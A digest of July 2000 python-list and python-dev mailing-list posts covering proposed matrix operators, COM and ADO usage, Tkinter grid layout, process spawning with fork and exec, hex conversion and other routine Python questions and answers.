Date: Wed, 19 Jul 2000 01:12:11 -0400
From: Tim Peters <tim_one at email.msn.com>
To: hzhu at users.sourceforge.net, python-list at python.org,
     PythonDev <python-dev at python.org>
Cc: gvanrossum at beopen.com
Subject: RE: Discussion: Introducing new operators  for  matrix computation

Sleeping in the same room with Guido for a night did not make it easier to
channel him, but it did make it easier to cloud his mind:  Guido is not
opposed to adding new operator symbols to core Python.  As of breakfast
Tuesday, anyway, and there are witnesses, so he'll have trouble changing his
mind (well, it will be clumsy for him to *admit* it if he changes his mind
<wink> ...).

But but but (you knew it wouldn't be *that* easy!):

+ Everybody concerned that new operators are "not Pythonic" please swallow
it -- it is Pythonic, cuz Guido said it is <0.9 wink -- but see following
points too>.  Contribute by helping to come up with a complete and
Pythonically beautiful implementation instead.

+ Please keep this off of Python-Dev.  Doesn't belong there (at least not
yet).  Interested parties can form a mailing list, or try to discuss it on
comp.lang.python (my personal hope is that you try the latter, and stick to
one Subject line).

+ There *must* be a PEP for this.  Guido won't read any more of the
debate -- it's too voluminous, repetitive and contentious.  He'll eventually
read a PEP, though, *after* some sort of consensus is reached.  A PEP
requires a champion.  I hope Huaiyu Zhu volunteers for this, as he's argued
his case eloquently and rationally.  The champion doesn't need to know how
to implement it, but does need to summarize sometimes-opposing positions
dispassionately.

+ There are things Guido will & won't tolerate.  Guessing which is an
interesting & educational challenge <wink>.  For example, adding a new
operator like

    .+

is fine, as the maximal-munch rule for lexing can resolve formal ambiguities
easily.  OTOH, *any* new operator symbol containing a backslash is dead
before arrival -- backslash has purely "meta" meanings in Python today.  If
the goal is to make Python look exactly like some other language, forget it.
It's still Python, with some light syntactic sugar to make life in special
domains sweeter.

+ This one is from me, but it's a safe bet you can view at as precognitive
channeling if you oppose it:  anyone suggesting to, e.g., make ".+" mean
something new and exciting for ints or floats or strings or ... will be
shot.  There are probably no operations on the builtin types used frequently
enough to merit new syntactic shorthands (excepting, perhaps, that if P3K
changes the meaning of integer division, a new "//" operator for flooring
division was looked upon kindly in the past).  The new operators are for
convenience in special domains (where the case for them is indeed very
strong), not an excuse to turn current Python into a cryptic mess.

+ Also from me:  forget about user-defined precedence and associativity.
The PEP must define these once & for all, and that's that.

+ The set of new operator symbols cannot be open-ended (as it is in, e.g.,
Haskell).  There are at least 4 variants of Python tranlators already in
existence, and Guido wants the set of operator symbols fixed so that a
variety of parsing techniques can be used in their natural forms without
trickery.  IOW, the full set of operator symbols must-- as it is today --be
a fixed finite set known in advance.

+ If the numerical folk can't reach consensus on the set of operators and
what they should mean, my bet is that Guido will let this die rather than
get sucked into Pronouncing on each of the points in dispute.  After all, he
has little personal use for this stuff:  if the people who *do* want it
can't agree, it's not worth having.

how's-that-for-a-mysterious-announcement<wink>?-ly y'rs  - tim




From dale at out-think.NOSPAMco.uk  Mon Jul 10 01:57:33 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Mon, 10 Jul 2000 06:57:33 +0100
Subject: How to use makepy?
References: <8k9o91$7b1$1@supernews.com> <4p%95.10247$A06.1298430@pouncer.easynews.com> <8ka7cd$c3$1@supernews.com> <DG8a5.21687$R7.3894985@juliett.dax.net>
Message-ID: <8kbokp$qi8$1@supernews.com>

Is this with or without you running makepy first?

--
Dale Strickland-Clark


Dag Sunde <dag at orion.no> wrote in message
news:DG8a5.21687$R7.3894985 at juliett.dax.net...
> It got 2 from the implicit "self" parameter
> that all classes in python is called with...
>
> So what effectively is sendt in your call is:
>      print DBRec(self, 0).Value
>
> But what puzzles me is that your code is running for
> me... (With ths AddrBook.mdb sample-database)...
>
> Dag.
>
>
> "Dale Strickland-Clark" <dale at out-think.NOSPAM.co.uk> wrote in message
> news:8ka7cd$c3$1 at supernews.com...
> > Thanks for all replies. I've now read the chapter in Python
> Programming on
> > Win32 and am somewhat the wiser.
> >
> > However, I am confused as to why it seems to break this very simple
> program
> > after running Makepy on "Microsoft ActiveX Data Objects 2.5 Library".
> >
> > At the print statemtent, I get this:
> >
> >     print DBRec(0).Value
> > TypeError: too many arguments; expected 1, got 2
> >
> > Where did it get 2 from?
> >
> > ------------------------
> > import win32com.client
> >
> > DBCon = win32com.client.Dispatch("ADODB.Connection")
> > DBRec = win32com.client.Dispatch("ADODB.Recordset")
> > DBRec.CursorLocation = 3  # adUseClient = 3
> >
> > sDB = "s:\\ths\\merlin.mdb"
> >
> > DBCon.Open("Driver={Microsoft Access Driver (*.MDB)}; DBQ=" + sDB)
> > #DBRec.open("House", DBCon, adOpenStatic, adLockOptimistic,
> adCmdTable)
> > DBRec.Open("House", DBCon, 3, 3, 2)
> >
> > DBRec.AddNew()
> > DBRec.Fields("Price").Value = 234000
> > DBRec.Update()
> > print DBRec(0).Value
> >
> > DBRec = None
> > DBCon = None
> > ----------------------------
> >
> > Thanks for any help
> >
> > Dale Strickland-Clark
> >
> >
> > "Roger Upole" <rupole at compaq.net> wrote in message
> > news:4p%95.10247$A06.1298430 at pouncer.easynews.com...
> > > It should speed up your COM calls.  Also, you can browse thru the
> > > generated file and see all the properties and methods of the COM
> > > object.
> > > Once the object has been created, the constants will be available as
> > > win32com.client.constants.someconstantname.
> > > There is a Readme.html in the /win32com directory, and more
> documentation
> > in
> > >   /win32com/HTML/QuickStartClientCom.html.
> > >              HTH
> > >                  Roger Upole
> > >
> > > "News.tele2.co.uk" <dale at out-think.NOSPAM.co.uk> wrote in message
> > > news:8k9o91$7b1$1 at supernews.com...
> > > > Well I've run it and it seemed to work but I'm not really sure
> what to
> > do
> > > > next.
> > > >
> > > > In fact, I'm not entirely sure what it's supposed to do for me but
> I'm
> > > > hoping it will at least give me access to some COM object
> constants.
> > > >
> > > > Where is it documented?
> > > >
> > > > Thanks
> > > >
> > > > Dale Strickland-Clark
> > > >
> > > >
> > > >
> > > >
> > >
> > >
> >
> >
>
>




From niels at endea.demon.nl  Thu Jul 27 17:37:41 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Thu, 27 Jul 2000 23:37:41 +0200
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com> <cpzon4jnm6.fsf@cj20424-a.reston1.va.home.com> <uaef4m92z.fsf@ctwd0143.fitlinxx.com> <39802DB6.73CEC178@endea.demon.nl> <uk8e7wj5u.fsf@ctwd0143.fitlinxx.com>
Message-ID: <3980ABA5.4190FC4F@endea.demon.nl>


David Bolen schreef:
> 
> But closing that hole at the application level isn't very difficult.
> The application needs to have processed all the child output (through
> knowledge of the child), or just explicitly closed the other files
> returned by the initial popen# call before doing the final close on
> the child-stdin to receive the exit code.

It is not only difficult but impossible to solve this at the application
level. The sort program does not (and can not) produce any output before
it reaches the end of its input. Many other programs behave less
extremely, but otherwise similarly, i.e. they will produce the final
part of their output only after the end of their input. There is no way
to force the end of that input other than by closing it. (at least not
on Unix, I expect it's similar on Windows)

I would propose waiting for the child to terminate and returning the
exit code only when closing the last remaining pipe, and returning None
on all the earlier closes. Is there any problem with that?

-- 
Niels Diepeveen
Endea automatisering



From matt at nightrealms.com  Sat Jul 15 07:03:35 2000
From: matt at nightrealms.com (Matthew Cline)
Date: Sat, 15 Jul 2000 03:03:35 -0800
Subject: Docs for __init__.py?
Message-ID: <YKWb5.19749$MT.506147@news-west.usenetserver.com>

The documentation for __init__.py at python.org seems a little
sparse.  Is there anything that goes into more depth?  Other
than reading the Python source code?

Specifically, does the package name have to corespond to the
name of the directory that __init__.py is in?  Or is there
some way for __init__.py to say "No, *this* is the name for the
package?"

Thanks in advance.




From fannyy at idmail.com  Thu Jul 20 00:39:19 2000
From: fannyy at idmail.com (Fanny Yeung)
Date: Wed, 19 Jul 2000 21:39:19 -0700
Subject: Can one have successfully install Python in SCO OS3 ?
Message-ID: <J7vd5.123$ej3.46098@brie.direct.ca>

Hi everyone,

I try to install python 1.5.2 in SCO OS3 system. My previous installation
experience in Linux is painless. But this
time when it try to link, it complains dlopen, dlerror, and any dl function
undefined. I check the README file and
reckon that will be something to do with dynamic link. But after I download
and 2 libraries (dl and dld ) and find
out one of the libraries does not support in SCO.
Anyone has any idea to solve this ? By working at the code, it seems I can
turn off the dynamic link. If I do that, does it
means I can only load library in compile time ?

Thanks




From kpmurphy at my-deja.com  Tue Jul 25 10:19:00 2000
From: kpmurphy at my-deja.com (Keith Murphy)
Date: Tue, 25 Jul 2000 14:19:00 GMT
Subject: tkinter: grid: expand and fill
References: <8lhrbd$t4v$1@nnrp1.deja.com> <8lhs6l$tpt$1@nnrp1.deja.com> <8lhurd$3d$1@nnrp1.deja.com> <397CCB2D.DFD84326@ajubasolutions.com> <diaf5.8471$yE4.138541@news2-win.server.ntlworld.com>
Message-ID: <8lk7ke$ko6$1@nnrp1.deja.com>

thanks guys!

-->keith

In article <diaf5.8471$yE4.138541 at news2-win.server.ntlworld.com>,
  "richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
> row_configure(0,weight=1)
> column_configure(0,weight=1)
>
> Richard
>
> Dan Kuchler <kuchler at ajubasolutions.com> wrote in message
> news:397CCB2D.DFD84326 at ajubasolutions.com...
> > Keith Murphy wrote:
> > >
> > > here's my example that still doesn't work:
> > >
> > > class scrolledtext:
> > >     def __init__(self, master, scrollflags=(NO,NO)):
> > >         stxt = self.stxt = Frame(master)
> > >         txt = Text(stxt, height=5)
> > >         txt.grid(row=0, column=0, sticky=NSEW)
> > >
> > >         if scrollflags[0]:
> > >             hbar = Scrollbar(stxt, orient=HORIZONTAL,
takefocus=NO,
> > > width=10)
> > >             hbar.grid(row=1, column=0, sticky=W+E, columnspan=2)
> > >             txt.config(xscrollcommand=hbar.set)
> > >
> > >         if scrollflags[1]:
> > >             vbar = Scrollbar(stxt, orient=VERTICAL, takefocus=NO,
> > > width=10)
> > >             vbar.grid(row=0, column=1, sticky=N+S)
> > >             txt.config(yscrollcommand=vbar.set)
> > >
> > > ...called with the following line:
> > > statustxt = scrolledtext(sbar, (YES, YES))
> > > where sbar is a frame.
> > >
> > > i want the text to fill the area except for the spots where the
scroll
> > > bars are.  i also want the window to be able to be resized.  help!
> > >
> > > thanks,
> > > -->keith
> > >
> > > > > is there a way to make a frame, that's been formatted using
grid,
> > > > expand
> > > > > to fill the space it is given?
> >
> > In tcl/tk this would be solved by making column 0 and
> > row 0 have a weight of 1 and by making column 1 and row
> > 1 have a weight of 0.
> >
> > This would be done using 'grid columnconfigure' and 'grid
> > rowconfigure' in combination with the sticky code that you
> > already added.
> >
> > If you can find the python equivalent of setting the weight
> > of the columns and rows, I think your code should work.
> >
> > --Dan
>
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From sdm7g at Virginia.EDU  Tue Jul 25 13:00:15 2000
From: sdm7g at Virginia.EDU (Steven D. Majewski)
Date: Tue, 25 Jul 2000 13:00:15 -0400 (EDT)
Subject: Python is wierd!
In-Reply-To: <8lk1c5$fv4$1@nnrp1.deja.com>
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com> <8lk1c5$fv4$1@nnrp1.deja.com>
Message-ID: <Pine.A32.3.90.1000725123438.17707C-100000@elvis.med.Virginia.EDU>

On Tue, 25 Jul 2000, Jonathan wrote:

> Hi, just finished going through the 'Learning Python' book, and the
> feeling that i get is that Python is really wierd(compared to other
> conventional languages like C++, Java, etc). For e.g.(correct me if
> i'm wrong)

[ ... and later  ]

> Yep, point taken. I think the book did a good job by listing out all
> the potential gotchas that might trap a newbie. What i was thinking is
> the nature of the 'gotchas' that arise in python. My knowledge in
> programming is quite shallow(i must admit), and my progress was
> from 'pascal'->'c'->'c++/java'->'perl'->'php'. Along the way, of course
> there are a few 'gotchas' in each language, but most of them did not
> throw much surprises(except perl - the 'blessing' part for e.g.)

Jonathan:
    Tim and others have answered some of your specifics, but
I'm still worried about you! I'm afraid that these 'feelings' about
Python being 'weird' are just a sign of your overly sheltered 
upbringing (in programming languages, that is. c/c++/java just 
barely count as separate languages and Perl seems to have been your
only walk on the wild side!)
    If you think Python is weird, then you haven't seen very much!

I suggest you:

[1] Get a copy of Jean Samet's old book on programming languages plus
    volumes I and II of HOPL - History of Programming Languages out 
    of the library and read. ( And if you don't have time to read,
    then at least look at the "geneology" chart. )

[2] Below is a partial list of languages outside of the C/Pascal/Algol
  tradition that have significantly contributed to ideas about 
  programming and programming languages. If you can afford to spend
  a couple of weeks each learning a few from that list, it will 
  expand your horizons amazingly!

  Lisp|Scheme, FORTH, Smalltalk, Snobol, Icon, APL|J, 
  Prolog, Haskell, ML, Intercal, ... 

[3] Read Peter Landin on "The Next 700 Programming Languages" 



---|  Steven D. Majewski   (804-982-0831)  <sdm7g at Virginia.EDU>  |---
---|  Department of Molecular Physiology and Biological Physics  |---
---|  University of Virginia             Health Sciences Center  |---
---|  P.O. Box 10011            Charlottesville, VA  22906-0011  |---

"There's a new programming language called C+++. It's 50% better than C++, 
         but every time you compile, your modem hangs up."




From gregory.lielens at fft.be  Tue Jul 18 08:54:10 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Tue, 18 Jul 2000 14:54:10 +0200
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators 
 for   matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <qnkem4scj0z.fsf@arbutus.physics.mcmaster.ca>
Message-ID: <39745372.EDCBF4FF@fft.be>

> Yep. See code below.
> 
> > BTW, you meant
> >
> > (a.E*b.E).M*(c.E*d.E).M
> >
> > for otherwise it is equivalent to (a.*b).*(c.*d).
> 
> Actually, I was thinking that elementwise multiplication would return
> an object that does matrixwise multiplication (the idea being that
> elementwise is a special case, just as .* is used for it instead of *
> in Matlab).
> 
> > >But what if we assume that if one operand has .E, the other does also!
> > >Then we can write
> > >
> > >(a.E*b)*(c.E*d)
> >
> > This won't work.  It would introduce many hard-to-trace bugs.  Looking at
> >
> > (a*b)*(c*d)
> >
> > and you have to trace the program all the way down to figure out the
> > identities of a,b,c,d.  Note that in concept the identities of the objects
> > do not change.  We are changing their identities only as labels to help
> > picking different operators.  I can foresee great confusion in practice with
> > this approach.
> 
> I realize this. Note that you have to trace the program to tell that
> a,b,c,d are matrices anyway :-). A lot of this is removed by always
> having an operation return a Matrixwise object. 


I think that it is the more elegant solution if the introduction of new
operators is rejected...
This could turn to be even more elegant, if it allow something like
C = A.I*b  to be equivalent to Matlab's C = A\b, i.e. without any
inversion of matrix A.

This kind of "retarded" evaluation could even lead to further
optimizations, and I tink
that the trace-back problem is avoided if we can ensure that any new
matrix that is produced and returned
by an expression evaluation or a function is always in a "blank" state,
i.e. without any I, T, H,... flag
on...

A minor problem of this approach could be the time spend in checking the
flags, but the main problem I see is that it will make the code for
*,+,...more complex for optimized version. For any unoptimized function
or operator, something like a FlagReset method shoul be called for all
arguments, to have the updated matrices...
If the flags treatment prove to take significative time, one solution
should to move them in the C struct which
implement NumPy arrays, which will makes thing even more complex, I am
affraid...
But appart from this complexity, this is quite appealing imho...


Greg.


From stadt at cs.utwente.nl  Wed Jul 12 10:15:12 2000
From: stadt at cs.utwente.nl (Richard van de Stadt)
Date: Wed, 12 Jul 2000 16:15:12 +0200
Subject: CyberChair available
Message-ID: <396C7D70.2786049A@cs.utwente.nl>

It didn't work for comp.lang.python.announce:

=====================
Hi. This is the qmail-send program at starship.beopen.com.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<clpa at python.net>:
Sorry, no mailbox here by that name. (#5.1.1)
=====================

So, here the announcement:

CyberChair, an online paper submission and reviewing system (for conferences and
workshops), which has been used for the European Conference on Object-Oriented
Programming (ECOOP) since its 1997 edition, and by some other conferences as well,
is now available under the GNU General Public License.

CyberChair was written in Python (http://www.python.org). At least version 1.5.1
is needed. Until recently I had not read anything else than the Python tutorial
and this newsgroup, so CyberChair may contain "silly" Python code which could be
improved. My colleague Fred Gansevles (who pointed me at Python 4 years ago - thanks:-)
helped me out with some problems.

To get CyberChair, visit http://www.cyberchair.org/requestUse.html, fill in the details
of your webserver and conference or workshop, and download the generated customized
version.

Before downloading, you may want to try the demo system, which has been installed
at the CyberChair homepage (http://www.cyberchair.org). 

Cheers,

Richard van de Stadt


From shuz at bresnanlink.net  Thu Jul 27 12:48:54 2000
From: shuz at bresnanlink.net (Aaron Berg)
Date: Thu, 27 Jul 2000 11:48:54 -0500
Subject: Sound---Anyone play with it in python?
References: <397FDBE9.B8E1A2E0@bresnanlink.net> <m1d7jzwop8.fsf@bertrand.carcosa.net>
Message-ID: <398067F6.6D0BB3FE@bresnanlink.net>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000727/df8bc0a7/attachment.html>

From hzhu at knowledgetrack.com  Wed Jul  5 19:51:30 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Wed, 05 Jul 2000 23:51:30 GMT
Subject: Overloaded Operators allowed???
References: <8k07ke$j0r@news.or.intel.com> <3963AADB.25A6776E@roguewave.com> <8k0f7m$rma@news.or.intel.com>
Message-ID: <slrn8m7ima.r4.hzhu@rocket.knowledgetrack.com>

On Wed, 5 Jul 2000 16:09:41 -0700, Jeff <no_spam at umich.edu> wrote:
>Well yes, that is true, but say I wanted to overload "/" to operate on a
>class such as "cookies".  Can this be done?

This is in the docs.  Like,

class cookies:
    def __div__(self, other): return self.data/other
    def __rdiv__(self, other): return other/self.data

Huaiyu


From ldw at us.ibm.com  Fri Jul  7 16:24:48 2000
From: ldw at us.ibm.com (Larry Whitley)
Date: Fri, 7 Jul 2000 15:24:48 -0500
Subject: Is there no function to convert a hex number to decimal?
References: <395DB41F.85E51307@iue.tuwien.ac.at> <3960677C.BED04E21@iue.tuwien.ac.at>
Message-ID: <8k5eaj$soo$1@news.rchland.ibm.com>

Here's another way:

hex = "abcd"
dec = eval( "0x"+hex)

Don't know which is better, faster, etc...

Larry



"Markus Gritsch" <gritsch at iue.tuwien.ac.at> wrote in message
news:3960677C.BED04E21 at iue.tuwien.ac.at...
> Markus Gritsch wrote:
>
> > Hi!
> >
> > Although there are several built in functions to convert numbers from
> > decimal to hex or oct, it seems that there is no function which can do
> > the same in the reverse direction.  Of course I can write 0xff, but
> > what should I do, if I have a string containing a hex value?
> > Currently I use this brute code:
> >
> > hex_dec = {}
> > for i in range(256):
> >     hex_dec[hex(i)[2:]] = i
> >
> > def dec(hex_string):
> >     return hex_dec[string.lower(hex_string)]
> >
> > But I am not entirely happy with it, because I have to generate this
> > clumsy dict, and the function works only for two-digit-hex-numbers.
> >
> > Is there really no other way?
>
> I found the solution in the string module:
> atoi (s[, base]) and atol (s[, base])
>
> BTW, these functions will become obsolete in python 2.0, because there
will be an
> optional "base" argument to the built-in functions long() and int()
>
> --
>
|\/\/\/|
> /------------------------------------------------------------------\  |
|
> | Markus GRITSCH                 | phone:    +43 / 1 / 58801-36015 |  |
|
> | Institute for Microelectronics | cellular: +43 / 676 / 4973431   |  |
(o)(o)
> | Technical University of Vienna | fax:      +43 / 1 / 58801-36099 |  C
_)
> | Gusshausstrasse  27-29 / E360  | email: gritsch at iue.tuwien.ac.at |   |
,___|
> | A-1040  Vienna / AUSTRIA       | SMS:   436764973431 at max.mail.at |   |
/
> \------------------------------------------------------------------/
/____\
>                                                                      /
\
> "Computers let you make more mistakes faster than any other invention in
human
>  history, with the possible exception of handguns and tequila."
>                                                                Mitch
Radcliffe
>
>
>




From invalid.address at 127.0.0.1  Sun Jul  2 00:29:54 2000
From: invalid.address at 127.0.0.1 (David)
Date: Sun, 02 Jul 2000 04:29:54 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com>
Message-ID: <395fc536.9838883@news.telus.net>

On Sat, 01 Jul 2000 05:10:50 GMT, Courageous <jkraska1 at san.rr.com> wrote:

>Java is is a variant of the C++ language with the kitchen
>think glued on

Heh.  Pun, or typo?



From cgw at fnal.gov  Fri Jul 21 19:02:41 2000
From: cgw at fnal.gov (Charles G Waldman)
Date: 21 Jul 2000 18:02:41 -0500
Subject: process id from os.system
References: <3977482B.478D2754@sec.noaa.gov>
Message-ID: <vmebszrjdda.fsf@buffalo.fnal.gov>

j vickroy <jvickroy at sec.noaa.gov> writes:

> How can I obtain the process id for a program launched via
> 
>   os.system (theProgram) ?
> 
> I would like to do this portability (Unix, Windows).
> 
> Presently on Unix, I'm getting the pid by parsing the output from:
> 
>   "ps -ef | grep theProgram"
> 
> but that seems messy and unreliable since "theProgram" may be truncated
> in the output from ps.

Yes, you really don't want to do "ps" (and it's not really portable
either, is it?  ps takes different flags on just about every flavor of
Unix).

I'd rather do something like:

###UNTESTED

def pid_system(cmdline):
    pid = os.fork()
    if pid:
        return pid
    else:
        os.execv("/bin/sh", ("sh", "-c", cmdline), os.environ)
        os._exit(0)


This works like "system" but returns you the PID of the child process.
The "/bin/sh" is there so you get shell command syntax in your command
line (wildcard expansion, backgrounding, I/O redirection, etc) just
like "os.system" does.  However if you don't need this, you can skip
the /bin/sh and just execv the program itself.  And you can pass in a
different dictionary for environment variables, if you like.

As far as portability to Windows: "/bin/sh" won't be there but
something like "command.com" or "cmd.exe" will, you can use that in
place of /bin/sh, or as stated above if you don't need to execute a
full-fledged command line but just a single program, you can skip the
shell entirely.


From Bill.Scherer at VerizonWireless.com  Mon Jul 24 10:18:08 2000
From: Bill.Scherer at VerizonWireless.com (Bill Scherer)
Date: Mon, 24 Jul 2000 10:18:08 -0400
Subject: binary distribution of Zope's DCOracle for Win32
References: <8lhhhf$l73$1@nnrp1.deja.com>
Message-ID: <397C5020.7C660996@VerizonWireless.com>

I've never seen one.  Have you tried using odbc? It works well enough
for me.

honza_v at my-deja.com wrote:

> Is there a binary version of DCOracle for Win32 systems? I have no
> access to C compiler, also my knowledge of C is not sufficient.
>
> Thanks a lot
> Jan
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
> --
> http://www.python.org/mailman/listinfo/python-list

--
William K. Scherer
Sr. Member of Applications Staff
Verizon Wireless






From paul at prescod.net  Wed Jul 19 12:11:12 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 11:11:12 -0500
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <3974CE13.3267A16B@roguewave.com>
Message-ID: <3975D320.FD79A77C@prescod.net>

Bjorn Pettersen wrote:
> 
> ...
> 
> Wasn't there an announcement about plex(?) a little while ago (a pure
> python implementation of a lexer)?

Yes, there are a few lexers. The issue is just deciding to put one in
the library, and deciding which one and using what API.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on educatioX-Mozilla-Status: 0009.. It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From dale at out-think.NOSPAMco.uk  Sun Jul  2 17:10:55 2000
From: dale at out-think.NOSPAMco.uk (Dale Strickland-Clark)
Date: Sun, 2 Jul 2000 22:10:55 +0100
Subject: Threads?
References: <8jlnkh$7h$1@supernews.com> <8jlvat$ohi$1@nntp9.atl.mindspring.net>
Message-ID: <8job5d$6i$1@supernews.com>

You mean I have a choice? It supports both?

Either or both, is the answer.

I want separate execution paths that run concurrently to (or appear to) the
main one but share the same code.

The ability for the processes/threads to share memory and signal each other
would be a bonus.

Thanks

--
Dale Strickland-Clark
Out-Think Ltd, UK
Business Technology Consultants

Aahz Maruch <aahz at netcom.com> wrote in message
news:8jlvat$ohi$1 at nntp9.atl.mindspring.net...
> In article <8jlnkh$7h$1 at supernews.com>,
> Dale Strickland-Clark <dale at out-think.NOSPAMco.uk> wrote:
> >
> >Can Python execute a function from the same module in another process?
> >I might do this, for example, to take advantage of multiple processors.
>
> I'm a bit confused here.  The Subject says "Threads?" but your text says
> "process".  Which is it?
> --
>                       --- Aahz (Copyright 2000 by aahz at netcom.com)
>
> Androgynous poly kinky vanilla queer het    <*>
http://www.rahul.net/aahz/
> Hugs and backrubs -- I break Rule 6
>
> The best way to get information on Usenet is not to ask a question,
> but to post the wrong information.  --Aahz




From paul at prescod.net  Thu Jul 20 10:33:26 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 09:33:26 -0500
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl>
Message-ID: <39770DB6.372D4CFB@prescod.net>

Martijn Faassen wrote:
> 
> ...
>
> >From a game programming perspective, you can probably consider Python to
> be dirt-slow, though. The trade-off is a lot of power for speed, but
> that power can help you gain back speed because you can be a lot smarter.

Python is dirt-slow if you are going to write a whole game in it. But is
it really much slower than the embedded scripting languages these games
sometimes have?
-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From buzzard at urubu.freeserve.co.uk  Thu Jul 20 20:27:33 2000
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Fri, 21 Jul 2000 01:27:33 +0100
Subject: Closing a file
References: <8l7lm7$kkb$1@news6.svr.pol.co.uk> <pLKd5.4730$FA2.524729@nnrp3.clara.net> <8l7vlm$r63$1@news6.svr.pol.co.uk> <uya2wcr49.fsf@ctwd0143.fitlinxx.com>
Message-ID: <8l85gq$tup$1@news6.svr.pol.co.uk>

Yes.  I should have stated that I do get the NameError.  Thanks.  I think
the problem probably is that sys.stdout is still referencing the file.  It's
the first time I've tried to write anything to a file and I'm a bit
confused.  I didn't post the whole script because it's about 50K and my code
probably isn't particularly well written.  But I do have a second problem if
anyone fancies wading through 50K of code?  Thanks again.




From hzhu at localhost.localdomain  Thu Jul 13 15:47:23 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 13 Jul 2000 19:47:23 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396daf35.3870545@aplnews>
Message-ID: <slrn8ms7cv.sj.hzhu@localhost.localdomain>

On Thu, 13 Jul 2000 12:33:49 GMT, Matt Feinstein <mfein at aplcomm.jhuapl.edu>
wrote: 
>
>My own preference would be 'as consistent as possible with MATLAB,
>with some caveats'-- this would mean option 1, with some thought about
>changes in places where the current MATLAB syntax drops the ball
>(IMO). I don't think MATLAB's inelegances should be preserved for the
>sake of consistency.

Any specific examples in mind?

> On the other hand, I think it's very important to
>make the translation from MATLAB language to Python as automatic as
>possible.

Agreed.  OTOH, it is forgone conclusion that we can't have both a\b and a/b.
So they have to be something similar to a/@b and a@/b.  That's my main
problem with option 1.  Using a fine symbol like \ as an escape marker looks
like a great waste to mathematicians but this has been with so many
programming languages for such a long time.

>The main thing I'd think about in addition to standard MATLAB syntax
>is a natural 'prolongation' syntax.

Are you thinking about this?
a = [1 2]
b = [3 4]
[a,b]  # [1 2 3 4]
[a;b]  # [1 2; 3 4]

Currently in MatPy we have the following, which is more general because no
special syntax is needed. But maybe we can find a better names?

Matrix_r([a,b])  
Matrix_c([a,b])

>One thing that MATLAB does correctly (again, IMO) is its relatively
>relaxed attitude towards distinctions among scalars, 1x1 vectors &
>matrices as well as among different kinds of nulls and NAN's. You can
>test for these distinctions if you want to, but generally MATLAB will
>just quietly do the right thing. There's a tendency to get wrapped up
>in fine distinctions in cases where there's really no ambiguity about
>what the programmer wants to do.

Right now in MatPy the distinction between 1x1 matrix and scalar is
maintained, intentionally.  So if size(x)==(3,1) then a*x works if a is
scalar but not if a is 1x1 matrix. I had had a fair bit of surprises in
matlab where something would work properly until someday it is given a
vector of length one, which is treated as a scalar.

On the other hand, there is no need to distinct vectors from 1xn and nx1
matrices and that's where we depart from NumPy.

Huaiyu


From jkraska1 at san.rr.com  Sat Jul  1 01:10:50 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sat, 01 Jul 2000 05:10:50 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com>
Message-ID: <395D7E14.B18EC77D@san.rr.com>

> Virtually all SUN has to do is pull some of the demo programs out of
> Microsofts manual. Write the equivalent code in python, perl, C++,
> pascal, and a few other languages. Compare them side by side. A fairly
> sophisticated person can see that it's resemblance to Java. Look at
> the law judges are sophisticated enough. Given that Microshit is being
> sued by SUN for their abuse of Java, I don't think it will be hard at
> all for  SUN to convince a judge that all C# is, is a variant of Java
> with tons of proprietary crap glued on and the label changed.

And all Java is is a variant of the C++ language with the kitchen
think glued on and the label changed. Hence the ridiculousness of
the claim. Sun would be stupid to even try.



C/


